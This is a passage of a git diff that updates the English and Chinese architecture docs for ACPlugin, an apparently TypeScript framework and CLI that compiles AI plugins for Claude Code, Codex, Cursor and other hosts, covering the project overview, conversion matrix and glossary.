转换为显式的 `-` Skill。对于 Plugin `my-plugin`,Command `bootstrap` 会生成 `my-plugin-bootstrap`;这不会改变 canonical Command ID 或其他 Platform。 ## Public 文件 diff --git a/llmdoc/index.md b/llmdoc/index.md index a81ba37..4eabada 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -17,9 +17,9 @@ ACPlugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski ## Architecture -- [System architecture](architecture/system.md) · [系统架构](architecture/system.zh-CN.md) — Core-owned lifecycle, Platforms, Extensions, Adapter boundaries, Artifact graph, and managed output transaction. -- [ADR-0001: lifecycle determinism and cache](architecture/decisions/0001-lifecycle-determinism-and-cache.md) · [ADR-0001:生命周期确定性与缓存](architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md) -- [ADR-0002: Extension contribution order](architecture/decisions/0002-extension-contribution-order.md) · [ADR-0002:Extension 贡献顺序](architecture/decisions/0002-extension-contribution-order.zh-CN.md) +- [System architecture](architecture/system.md) · [系统架构](architecture/system.zh-CN.md) — Core-owned lifecycle, Packages, unordered Contributions, Asset capabilities, and managed output transaction. +- [ADR-0001: Session close and deterministic rebuilds](architecture/decisions/0001-lifecycle-determinism-and-cache.md) · [ADR-0001:Session 关闭与确定性重建](architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md) +- [ADR-0002: unordered Extension contributions](architecture/decisions/0002-extension-contribution-order.md) · [ADR-0002:无序 Extension Contribution](architecture/decisions/0002-extension-contribution-order.zh-CN.md) - [ADR-0003: Node toolchain and runtime support](architecture/decisions/0003-node-toolchain-and-runtime-support.md) · [ADR-0003:Node 工具链与运行时支持](architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md) - [ADR-0004: first-class Platform packages](architecture/decisions/0004-first-class-platform-packages.md) · [ADR-0004:Platform 是一等独立生态包](architecture/decisions/0004-first-class-platform-packages.zh-CN.md) diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index bbe0fd7..e7372a3 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -4,46 +4,44 @@ ## Identity -ACPlugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. +ACPlugin is a Rolldown-based AI Plugin framework and CLI. Authors maintain one canonical project and continuously compile validated Packages for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. The independently versioned public packages are: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-platform-claude-code` -- `@tokenroll/acplugin-platform-codex` -- `@tokenroll/acplugin-platform-cursor` -- `@tokenroll/acplugin-platform-antigravity` -- `@tokenroll/acplugin-platform-opencode` -- `@tokenroll/acplugin-platform-pi` +- six `@tokenroll/acplugin-platform-*` packages - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core, the integration-test workspace, Docs, and Playground are private packages. The main package bundles Core, while every official Platform and Extension imports the public SDK from `@tokenroll/acplugin` through a peer dependency. Docs and Playground are repository-only consumers and never enter public tarballs. Consumers never depend on `@acplugin/*`. +Core, integration tests, Docs, and Playground are private workspaces. `@tokenroll/acplugin` bundles Core and exposes two intentional boundaries: the root author/programmatic API and `@tokenroll/acplugin/sdk` for Platform and Extension implementations. Official integrations use the SDK through a peer dependency; public tarballs never depend on `@acplugin/*`. ## Authoring boundary -Core Components are Commands, Skills, and Agents. `acplugin.config.ts` defines top-level `name`, `version`, `description`, Platforms, Public copy behavior, Extensions, and strictness. +Canonical Components are Commands, Skills, and Agents. `acplugin.config.ts` defines project metadata, explicit Platform instances, Public mappings, optional Extensions, the built-in Node Runtime, and build strictness. Instructions are intentionally outside the installable Plugin boundary. -Instructions are intentionally outside the installable Plugin boundary. Hooks and MCP are optional Extensions: enabling one joins the same Core-owned lifecycle through its own Platform Adapters rather than replacing a Platform. +Hooks and MCP are optional Extensions. Each discovers and builds its author resources once through Core-owned Module, Compiler, Asset, Execution, and Watch services, then contributes add-only Package fields and Assets for supported Platforms. -`platforms` is required: builds use explicitly imported instances and the main package never discovers or loads an implementation by ID. `init` keeps Claude Code and Codex as its scaffolding selection when no `--platform` option is supplied, but writes both dependencies and imports. Claude Code, Codex, Cursor, and Antigravity are static Plugins, OpenCode is a workspace overlay, and Pi is an npm package. Every Platform reports native transformations and semantic losses instead of claiming a lowest-common-denominator format. +Node Runtime is a Framework Resource, not an Extension package. Direct files under `src/runtime/` are entries by convention; explicit `runtime.entries` replaces automatic discovery. Core compiles each entry once with the `portable-node` profile and capable Platforms inherit the same Asset references and bytes. Unsupported Platforms report the capability and emit no pseudo runtime. + +`platforms` is required. Builds use explicitly imported instances; the main package never discovers implementations by ID. `init` defaults to explicit Claude Code and Codex dependencies/imports when no platform option is supplied. Each Platform owns canonical conversion, base Package Documents and Assets, final Package identity, optional distributions, candidate validation, and compatibility reporting. ## Runtime and tooling -- Node.js >=20, ESM-only TypeScript 7 for package builds and typechecking -- pnpm workspace, no Turborepo +- Node.js >=20 and ESM-only TypeScript 7 package sources +- pnpm workspace without Turborepo - Commander.js and `@inquirer/prompts` for CLI/TUI -- tsdown for package bundles/declarations/package validation -- Rolldown for local Hook/MCP executable bundles +- tsdown for package bundles and declarations +- one Core-owned Rolldown Module/Compiler service for config, descriptors, portable Node bundles, and managed third-party builds +- one Core-owned Chokidar watcher behind `Project.dev()` - Vitest for private repository tests -- VitePress 1.6 and TypeDoc 0.28 for the private documentation workspace +- VitePress 1.6 and TypeDoc 0.28 for private documentation -The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. TypeDoc uses the same TypeScript 6 compatibility family inside `@acplugin/docs`; production package typechecking remains on TypeScript 7. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. +The workspace catalog maps package `tsc` commands to `@typescript/native`. Tools that still require the legacy Compiler API use the isolated `@typescript/typescript6` alias. Production package typechecking remains on TypeScript 7. -The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. `packages/docs` builds the VitePress/manual and generated API surface, while `packages/playground` exercises the published authoring boundary as a domain-neutral full-capability template smoke. +The CLI and author facade live in `packages/acplugin/src/cli.ts` and `src/index.ts`; `src/sdk.ts` is the only Integration implementation entry. Core's fixed lifecycle is implemented by `packages/core/src/kernel/build-session.ts`, while `Project.dev()` delegates every rebuild round to that same BuildSession. ## Migration boundary -`acplugin migrate` accepts legacy Claude projects, single plugins, marketplaces, and supported GitHub forms. Migration is dynamically imported and isolated under `packages/acplugin/src/migration/`. Its tolerant legacy scanner/converter implementation is retained only below `migration/legacy/`. +`acplugin migrate` is dynamically imported and isolated under `packages/acplugin/src/migration/`. Tolerant legacy GitHub and Claude/plugin reading remains under `migration/legacy/` only for migration input. Normal CLI startup, Core, Platforms, and Extensions do not import Migration. -Only the tolerant GitHub download and Claude/plugin scanning helpers remain below `migration/legacy/`; the retired multi-platform converter, writer, CLI, TUI, and test copies were removed. Untrusted or non-portable content is preserved under `.acplugin-migration/unmapped/`; it is never fabricated into canonical Hooks, MCP implementations, or Instructions Components. +Migration never writes in place. Content that cannot be mapped safely is preserved under `.acplugin-migration/unmapped/` with a stable report; it is not fabricated into canonical Hooks, MCP implementations, Instructions, or external-command wrappers. diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md index 210834a..3416d74 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -4,46 +4,44 @@ ## 项目定位 -ACPlugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。 +ACPlugin 是一套基于 Rolldown 的 AI Plugin 框架和 CLI。作者维护一份规范工程,持续为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译经过完整校验的 Package。 独立版本化的公开 package 包括: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-platform-claude-code` -- `@tokenroll/acplugin-platform-codex` -- `@tokenroll/acplugin-platform-cursor` -- `@tokenroll/acplugin-platform-antigravity` -- `@tokenroll/acplugin-platform-opencode` -- `@tokenroll/acplugin-platform-pi` +- 六个 `@tokenroll/acplugin-platform-*` - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core、集成测试工作区、Docs 和 Playground 是私有包。主包内联 Core;每个官方 Platform/Extension 则通过 peer dependency 从 `@tokenroll/acplugin` 导入公开 SDK。Docs/Playground 只作为仓库内消费者,不进入公开 tarball。消费者不会依赖任何 `@acplugin/*` 包。 +Core、集成测试、Docs 与 Playground 都是私有 workspace。`@tokenroll/acplugin` 内联 Core,并提供两个有意分离的入口:根入口面向普通作者和程序化调用方,`@tokenroll/acplugin/sdk` 面向 Platform/Extension 实现。官方集成通过主包 peer 使用 SDK;任何公开 tarball 都不依赖 `@acplugin/*`。 ## 创作边界 -Core Component 包括 Commands、Skills 和 Agents。`acplugin.config.ts` 在顶层定义 `name`、`version`、`description`、Platforms、Public 复制行为、Extensions 和严格度。 +Canonical Component 包括 Command、Skill 和 Agent。`acplugin.config.ts` 定义工程元数据、显式 Platform 实例、Public 映射、可选 Extension、内建 Node Runtime 与构建严格度。Instructions 被有意排除在可安装 Plugin 边界之外。 -Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是可选 Extension:启用后通过其自有 Platform Adapter 加入同一套 Core 生命周期,不会替换 Platform。 +Hooks 与 MCP 是可选 Extension。每个 Extension 通过 Core 独占的 Module、Compiler、Asset、Execution 和 Watch 服务发现并构建一次作者资源,再为支持的平台 add-only 贡献 Package 字段与 Asset。 -`platforms` 必填:构建只使用显式导入的实例,主包不会按 ID 发现或加载实现。未传 `--platform` 时,`init` 仍把 Claude Code 和 Codex 作为脚手架选择,但会显式写入两个依赖和 import。Claude Code、Codex、Cursor 与 Antigravity 是静态 Plugin,OpenCode 是 Workspace Overlay,Pi 是 npm Package。每个平台都会明确报告原生转换和语义损失,不会伪装成最低公共格式。 +Node Runtime 是 Framework Resource,不是 Extension package。默认把 `src/runtime/` 一级文件作为入口;显式 `runtime.entries` 会完整替换自动发现。Core 使用 `portable-node` profile 对每个入口只编译一次,具备能力的 Platform 继承相同的 Asset 引用与字节;不支持的平台必须报告该能力且不能生成伪 Runtime。 + +`platforms` 必填。构建只使用显式导入的实例,主包不会按 ID 发现实现。未指定平台时,`init` 默认显式安装并导入 Claude Code 与 Codex。每个 Platform 拥有 canonical 转换、base Package 的 Document/Asset、最终 Package 身份、可选 Distribution、候选校验和兼容性报告。 ## 运行时与工具链 -- Node.js >=20;工作区包使用仅 ESM 的 TypeScript 7 进行构建和类型检查 +- Node.js >=20,Package 源码使用 ESM-only TypeScript 7 - pnpm workspace,不使用 Turborepo -- Commander.js 和 `@inquirer/prompts` 提供 CLI/TUI -- tsdown 负责包 Bundle、声明文件和包结构校验 -- Rolldown 负责本地 Hook/MCP 可执行文件 Bundle -- Vitest 负责仓库内部测试 -- VitePress 1.6 和 TypeDoc 0.28 负责私有文档 workspace +- Commander.js 与 `@inquirer/prompts` 提供 CLI/TUI +- tsdown 负责 Package bundle 与声明文件 +- Core 唯一的 Rolldown Module/Compiler Service 负责配置、descriptor、portable Node bundle 和受管第三方构建 +- Core 通过 `Project.dev()` 独占唯一 Chokidar watcher +- Vitest 负责私有仓库测试 +- VitePress 1.6 与 TypeDoc 0.28 负责私有文档 -各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。TypeDoc 在 `@acplugin/docs` 内使用同一 TypeScript 6 兼容系列,正式 Package typecheck 仍保持 TypeScript 7。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 +Workspace catalog 把各 Package 的 `tsc` 映射到 `@typescript/native`。仍依赖旧 Compiler API 的工具使用隔离的 `@typescript/typescript6` 别名;生产 Package 的类型检查保持 TypeScript 7。 -CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。`packages/docs` 构建 VitePress 手写内容与自动 API,`packages/playground` 则以领域中立的全能力模板验证已发布作者边界。 +CLI 与作者 façade 位于 `packages/acplugin/src/cli.ts`、`src/index.ts`;`src/sdk.ts` 是 Integration 实现唯一入口。Core 固定生命周期由 `packages/core/src/kernel/build-session.ts` 实现,`Project.dev()` 的每个重建轮次也委托给同一 BuildSession。 ## Migration 边界 -`acplugin migrate` 支持旧 Claude 工程、单 Plugin、Marketplace 和受支持的 GitHub 来源格式。Migration 通过动态导入加载,并隔离在 `packages/acplugin/src/migration/` 下。其容错 Legacy Scanner/Converter 实现只保留在 `migration/legacy/` 子目录中。 +`acplugin migrate` 使用动态 import,并隔离在 `packages/acplugin/src/migration/`。容错型 legacy GitHub 与 Claude/plugin 读取仅在 `migration/legacy/` 中服务迁移输入;正常 CLI 启动、Core、Platform 与 Extension 都不导入 Migration。 -`migration/legacy/` 下只保留容错 GitHub 下载和 Claude/Plugin 扫描辅助代码;旧版多平台 Converter、Writer、CLI、TUI 和测试副本均已删除。不可信或不可移植内容会保存在 `.acplugin-migration/unmapped/`,绝不会被伪造成规范 Hooks、MCP 实现或 Instructions Component。 +Migration 不原地写入。无法安全映射的内容会保存在 `.acplugin-migration/unmapped/` 并生成稳定报告;不会伪造成 Canonical Hook、MCP 实现、Instructions 或外部命令包装。 diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index 7b461e3..b5c6669 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -8,20 +8,21 @@ This matrix describes canonical ACPlugin 1.0 builds. Tolerant conversion code be | Capability | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | | --- | --- | --- | --- | --- | --- | --- | -| Delivery unit | Installable Plugin | Installable Plugin | Installable Plugin | Installable Plugin | Workspace overlay | npm package | +| Primary Package | Installable Plugin | Installable Plugin | Installable Plugin | Installable Plugin | Workspace overlay | npm package | | Skill | Native | Native | Native | Native | Native | Native | -| Command | Native Command | Transform to explicit `command-` Skill by default; optional `plugin-name-` | Native Command | Transform to explicit `command-` Skill | Native workspace Command | Transform to Prompt Template | +| Command | Native Command | Transform to explicit `-` Skill | Native Command | Transform to explicit `command-` Skill | Native workspace Command | Transform to Prompt Template | | Agent | Native Agent | Degraded `agent-` guidance Skill | Native Subagent; some model/capability fields degrade | Degraded `agent-` guidance Skill | Native Subagent; capabilities transform to tools/permissions | Degraded `agent-` guidance Skill | | Public files | Plugin-root copy | Plugin-root copy | Plugin-root copy | Plugin-root copy | Workspace-root copy | Package-root copy | +| Built-in Node Runtime | Native Plugin-local Node 20 ESM | Native Plugin-local Node 20 ESM | Unsupported | Unsupported | Unsupported | Unsupported | | Separate Marketplace distribution | Optional | Optional | Not generated | Not generated | Not applicable | Not applicable | -`native` means the Platform has an equivalent installable resource. `transform` means ACPlugin emits a different native resource while preserving the workflow intent. `degraded` means an important runtime guarantee cannot be preserved. Strict mode rejects any degraded or unsupported result; use `--no-strict` only after reviewing the structured compatibility report. +`native` means the Platform has an equivalent installable resource. `transform` means ACPlugin emits a different native resource while preserving the workflow intent. `degraded` means an important runtime guarantee cannot be preserved. Strict mode rejects any degraded or unsupported result; set `strict: false` on the affected Platform factory only after reviewing the structured compatibility report. OpenCode is intentionally a workspace overlay and does not receive a fabricated generic `package.json`. Pi is a real npm package and its manifest must not leak workspace/private fields. Antigravity emits only Manifest fields confirmed by its public contract. When a Codex Command body uses `{{arguments}}`, the fallback Skill replaces it with explicit invocation guidance and reports an independent `arguments/transform` capability. A declared `argumentHint` remains a separate degraded capability because Codex Skill metadata has no equivalent hint UI. -Codex keeps the stable `command-` generated Skill ID by default. Projects that require the Plugin name to remain visible in the Skill ID can opt into `codex({ generatedSkillIds: { command: 'plugin-prefixed' } })`; the final ID remains subject to the same collision and combined Plugin/Skill identity validation. +Codex uses `-` as the generated Skill ID. The final ID is validated with the native and Agent fallback Skill namespace before Package creation. ## Hooks Extension @@ -39,7 +40,7 @@ Codex keeps the stable `command-` generated Skill ID by default. Projects th | `SubagentStop` | Native | Native | Transform | Unsupported | Unsupported | Unsupported | | `Stop` | Native | Native | Transform | Unsupported | Degraded | Degraded | -Platform-only events remain explicitly scoped and do not expand the portable union. A supported event can still report a field-level degradation when the host ignores a meaningful matcher or has no stable status-message field. Empty Hooks produce no runtime or Manifest artifact. +Platform-only events remain explicitly scoped and do not expand the portable union. A supported event can still report a field-level degradation when the host ignores a meaningful matcher or has no stable status-message field. Empty Hooks produce no runtime Asset or Manifest field. ## MCP Extension @@ -48,22 +49,23 @@ Platform-only events remain explicitly scoped and do not expand the portable uni | Remote Streamable HTTP | Native | Native | Native | Native | Native | Unsupported | | Bundled local stdio | Native | Native | Unsupported | Unsupported | Native local process | Unsupported | -Remote MCP authoring is declarative: the author supplies an endpoint and secret references. Local stdio MCP is executable content: the author supplies a complete `server.ts`, which the Extension bundles once as Node 20 ESM and reuses only on Platforms with a verified install-root contract. The bounded initialize/tools-list smoke runs in both development and production; no Adapter reads secret environment values during build. +Remote MCP authoring is declarative: the author supplies an endpoint and secret references. Local stdio MCP is executable content: the author supplies a complete `server.ts`, which the Extension bundles once as Node 20 ESM through Core's `portable-node` Compiler profile and reuses only on Platforms with a verified install-root contract. The bounded initialize/tools-list smoke runs in both development and production; no Contributor reads secret environment values during build. ## Source and output ownership | Concern | Source of truth | | --- | --- | -| Config, Components, lifecycle contracts, Artifacts | `packages/core/src/types.ts`, `contracts.ts` | -| Discovery and dependency graph | `packages/core/src/scanner.ts` | -| Lifecycle and Platform dispatch | `packages/core/src/lifecycle.ts` | +| Config, author types, and Integration SDK contracts | `packages/core/src/kernel-types.ts`, `kernel-contracts.ts` | +| Canonical/Public/Runtime/Extension discovery | `packages/core/src/resources/` | +| Fixed lifecycle and Platform isolation | `packages/core/src/kernel/build-session.ts` | +| Package, Document, Contribution, and report registries | `packages/core/src/package/` | | Transactional output | `packages/core/src/transaction.ts` | | Platform output contracts | `packages/platforms//src/` | -| Hooks discovery, bundling, and Platform Adapters | `packages/extensions/hooks/src/` | -| MCP discovery, bundling, and Platform Adapters | `packages/extensions/mcp/src/` | -| Public facade and config loading | `packages/acplugin/src/index.ts` | +| Hooks discovery, compilation, and Platform Contributors | `packages/extensions/hooks/src/` | +| MCP discovery, compilation, and Platform Contributors | `packages/extensions/mcp/src/` | +| Public facade, SDK, and Project config loading | `packages/acplugin/src/index.ts`, `sdk.ts`, `project.ts` | | CLI and isolated Migration boundary | `packages/acplugin/src/cli.ts`, `migration/` | -Platforms own output paths, Documents, manifests, schemas, validation, and delivery-unit type. Extension Adapters may add owned Artifacts, patch declared add-only Document extension points, and report compatibility; they cannot replace a Platform or write `dist` directly. +Platforms own base Package paths, Documents, manifests, schemas, final Package identity, distributions, and candidate validation. Extension Contributors all read the same immutable base Package and may add owned Assets, fill declared add-only Document extension points, and report compatibility. They cannot observe other Contributions, replace a Platform, or write `dist` directly. Official contracts were last rechecked on 2026-08-06 against [Claude Code Hooks](https://code.claude.com/docs/en/hooks), [Codex Hooks](https://learn.chatgpt.com/docs/hooks), the [Cursor Plugin Schema](https://github.com/cursor/plugins/blob/main/schemas/plugin.schema.json), [Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli), [OpenCode Plugins](https://opencode.ai/docs/plugins/), [OpenCode MCP](https://opencode.ai/docs/mcp-servers/), and [Pi Packages](https://pi.dev/docs/latest/packages). diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md index 7ec79ae..4e04477 100644 --- a/llmdoc/reference/conversion-matrix.zh-CN.md +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -8,20 +8,21 @@ | 能力 | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | | --- | --- | --- | --- | --- | --- | --- | -| 交付单元 | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | Workspace Overlay | npm Package | +| 主 Package | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | Workspace Overlay | npm Package | | Skill | 原生 | 原生 | 原生 | 原生 | 原生 | 原生 | -| Command | 原生 Command | 默认转换为显式 `command-` Skill;可选 `plugin-name-` | 原生 Command | 转换为显式 `command-` Skill | 原生 Workspace Command | 转换为 Prompt Template | +| Command | 原生 Command | 转换为显式 `-` Skill | 原生 Command | 转换为显式 `command-` Skill | 原生 Workspace Command | 转换为 Prompt Template | | Agent | 原生 Agent | 降级为 `agent-` 指导 Skill | 原生 Subagent;部分模型/能力字段降级 | 降级为 `agent-` 指导 Skill | 原生 Subagent;能力转换为 tools/permissions | 降级为 `agent-` 指导 Skill | | Public 文件 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Workspace 根 | 复制到 Package 根 | +| 内建 Node Runtime | 原生 Plugin-local Node 20 ESM | 原生 Plugin-local Node 20 ESM | 不支持 | 不支持 | 不支持 | 不支持 | | 独立 Marketplace 分发 | 可选 | 可选 | 不生成 | 不生成 | 不适用 | 不适用 | -`原生` 表示 Platform 有等价的可安装资源;`转换` 表示生成另一种原生资源并保留工作流意图;`降级` 表示关键运行时保证无法完整保留。严格模式会拒绝 degraded/unsupported;只有在审阅结构化兼容性报告后,才应使用 `--no-strict`。 +`原生` 表示 Platform 有等价的可安装资源;`转换` 表示生成另一种原生资源并保留工作流意图;`降级` 表示关键运行时保证无法完整保留。严格模式会拒绝 degraded/unsupported;只有在审阅结构化兼容性报告后,才应在受影响的 Platform factory 上配置 `strict: false`。 OpenCode 明确是 Workspace Overlay,不会收到伪造的通用 `package.json`。Pi 是真实 npm Package,其 Manifest 不得泄漏 workspace/private 字段。Antigravity 只输出公开契约已经确认的 Manifest 字段。 当 Codex Command 正文使用 `{{arguments}}` 时,回退 Skill 会把它替换为显式调用指引,并独立报告 `arguments/transform` 能力。作者声明的 `argumentHint` 仍是另一项 degraded 能力,因为 Codex Skill 元数据没有等价的参数提示 UI。 -Codex 默认保持稳定的 `command-` generated Skill ID。确实需要在 Skill ID 中显示 Plugin name 的工程可以显式使用 `codex({ generatedSkillIds: { command: 'plugin-prefixed' } })`;最终 ID 继续接受相同的冲突与 Plugin/Skill 组合身份校验。 +Codex 使用 `-` 作为 generated Skill ID,并在 Package 创建前与原生 Skill、Agent fallback Skill 共用同一命名空间校验。 ## Hooks Extension @@ -39,7 +40,7 @@ Codex 默认保持稳定的 `command-` generated Skill ID。确实需要在 | `SubagentStop` | 原生 | 原生 | 转换 | 不支持 | 不支持 | 不支持 | | `Stop` | 原生 | 原生 | 转换 | 不支持 | 降级 | 降级 | -Platform-only 事件保持显式平台限定,不会扩充可移植事件联合。即使事件受支持,当宿主忽略 meaningful matcher 或没有稳定状态消息字段时,仍会产生字段级降级。空 Hooks 不会生成运行时或 Manifest 产物。 +Platform-only 事件保持显式平台限定,不会扩充可移植事件联合。即使事件受支持,当宿主忽略 meaningful matcher 或没有稳定状态消息字段时,仍会产生字段级降级。空 Hooks 不会生成运行时 Asset 或 Manifest 字段。 ## MCP Extension @@ -48,22 +49,23 @@ Platform-only 事件保持显式平台限定,不会扩充可移植事件联合 | 远程 Streamable HTTP | 原生 | 原生 | 原生 | 原生 | 原生 | 不支持 | | Bundle 后的本地 stdio | 原生 | 原生 | 不支持 | 不支持 | 原生本地进程 | 不支持 | -远程 MCP 是声明式内容:作者提供 Endpoint 和秘密引用。本地 stdio MCP 是可执行内容:作者提供完整 `server.ts`,Extension 只 Bundle 一次 Node 20 ESM,并只复用到具有已验证安装根契约的 Platform。有边界的 initialize/tools-list smoke 会在 development 与 production 中都执行;任何 Adapter 都不会在构建时读取环境变量秘密值。 +远程 MCP 是声明式内容:作者提供 Endpoint 和 Secret 引用。本地 stdio MCP 是可执行内容:作者提供完整 `server.ts`,Extension 通过 Core `portable-node` Compiler profile 只 Bundle 一次 Node 20 ESM,并只复用到具有已验证安装根契约的 Platform。有边界的 initialize/tools-list smoke 会在 development 与 production 中都执行;任何 Contributor 都不会在构建时读取环境变量 Secret 值。 ## 源码与输出所有权 | 关注点 | 事实来源 | | --- | --- | -| Config、Components、生命周期契约、Artifacts | `packages/core/src/types.ts`、`contracts.ts` | -| 发现与依赖图 | `packages/core/src/scanner.ts` | -| 生命周期与 Platform 分发 | `packages/core/src/lifecycle.ts` | +| Config、作者类型与 Integration SDK 契约 | `packages/core/src/kernel-types.ts`、`kernel-contracts.ts` | +| Canonical/Public/Runtime/Extension 发现 | `packages/core/src/resources/` | +| 固定生命周期与 Platform 隔离 | `packages/core/src/kernel/build-session.ts` | +| Package、Document、Contribution 与报告 Registry | `packages/core/src/package/` | | 事务化输出 | `packages/core/src/transaction.ts` | | Platform 输出契约 | `packages/platforms//src/` | -| Hooks 发现、Bundle 与 Platform Adapter | `packages/extensions/hooks/src/` | -| MCP 发现、Bundle 与 Platform Adapter | `packages/extensions/mcp/src/` | -| 公开门面与配置加载 | `packages/acplugin/src/index.ts` | +| Hooks 发现、编译与 Platform Contributor | `packages/extensions/hooks/src/` | +| MCP 发现、编译与 Platform Contributor | `packages/extensions/mcp/src/` | +| 公开 façade、SDK 与 Project 配置加载 | `packages/acplugin/src/index.ts`、`sdk.ts`、`project.ts` | | CLI 与隔离 Migration 边界 | `packages/acplugin/src/cli.ts`、`migration/` | -Platform 拥有输出路径、Document、Manifest、Schema、Validator 和交付单元类型。Extension Adapter 可以增加自有 Artifact、修改声明为 add-only 的 Document 扩展点并报告兼容性,但不能替换 Platform,也不能直接写入 `dist`。 +Platform 拥有 base Package 路径、Document、Manifest、Schema、最终 Package 身份、Distribution 与候选校验。所有 Extension Contributor 读取同一个不可变 base Package,只能增加自有 Asset、填写已声明的 add-only Document extension point 并报告兼容性;不能观察其他 Contribution、替换 Platform 或直接写入 `dist`。 官方契约最后核验于 2026-08-06,来源包括 [Claude Code Hooks](https://code.claude.com/docs/en/hooks)、[Codex Hooks](https://learn.chatgpt.com/docs/hooks)、[Cursor Plugin Schema](https://github.com/cursor/plugins/blob/main/schemas/plugin.schema.json)、[Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli)、[OpenCode Plugins](https://opencode.ai/docs/plugins/)、[OpenCode MCP](https://opencode.ai/docs/mcp-servers/) 和 [Pi Packages](https://pi.dev/docs/latest/packages)。 diff --git a/llmdoc/reference/domain-glossary.md b/llmdoc/reference/domain-glossary.md index 50cf737..0baedf7 100644 --- a/llmdoc/reference/domain-glossary.md +++ b/llmdoc/reference/domain-glossary.md @@ -1,18 +1,25 @@ # Domain glossary -These terms distinguish related outcomes and ordering rules in the ACPlugin lifecycle. +> [中文对照](domain-glossary.zh-CN.md) -| Term | Definition | -|---|---| -| Build outcome | Whether the current invocation completed every required lifecycle phase without an error diagnostic or exception. Exposed as `BuildResult.success`. | -| Commit outcome | Whether the current invocation completed the managed output transaction. Exposed as `BuildResult.committed`; it is false for validate/inspect, failed/rolled-back commits, and invocations that never attempted a commit. | -| Cleanup outcome | The result of reverse-order `buildEnd` execution. In lifecycle API v1 it is not a separate public boolean: a cleanup failure is an error diagnostic, makes the build outcome fail, and rolls back a commit still in progress. | -| Deterministic input | Project bytes, resolved command/mode/config, Platform and Extension implementations/versions, Node major, lockfile, and the captured lifecycle environment snapshot. Trusted executable code is responsible for additional ambient state it intentionally reads. | -| Stable output | Artifact and report bytes/order that are identical for identical deterministic inputs. Stable output excludes timestamps, absolute/temporary paths, random identifiers, Secret values, and locale-dependent ordering. | -| Cacheable computation | A computation with a versioned complete fingerprint, serializable result, declared dependency closure, and replayable owner-scoped effects. Arbitrary lifecycle hooks are not cacheable merely because their Context is readonly. | -| Extension contribution order | The order of Extensions in resolved `extensions[]`. Adapters execute serially in this semantic order and may read earlier accepted Document contributions. | -| Current Draft | The Platform Draft after the Platform contribution and all previously accepted Adapter contributions in configuration order. It is what `getDocument()` observes. | -| Add-only contribution | A Document field or Artifact added at a declared empty extension point/path without replacing, removing, moving, appending to arrays, or implicitly deep-merging existing data. | -| Owner conflict | Two owners claim the same Document field or Artifact output path. It is a Core-enforced failure and cannot be converted to first-writer-wins by catching an Adapter exception. | - -See ADR-0001 and ADR-0002 under `llmdoc/architecture/decisions/` for the accepted 1.0 semantics. +| Term | Meaning | +| --- | --- | +| Author facade | The root `@tokenroll/acplugin` API used by project configuration, Project execution, reports, init, and Migration. | +| Integration SDK | The trusted `@tokenroll/acplugin/sdk` subpath used only to implement Platforms and Extensions. | +| Canonical Project | The immutable Commands, Skills, Agents, Public files, optional Runtime, metadata, and validated dependency graph discovered by Core. | +| Session | Per-build mutable implementation state created by a Platform or Extension factory and closed exactly once by Core. | +| SourceRef | An owner-scoped reference to an exact validated author file or directory; it is not a physical path capability. | +| AssetRef | A current-session Source, Generated, or Bytes output reference signed by Core. | +| Asset | A Package path mapped to an AssetRef. Reports add owner, mode, size, SHA-256, and structured origin. | +| Document | 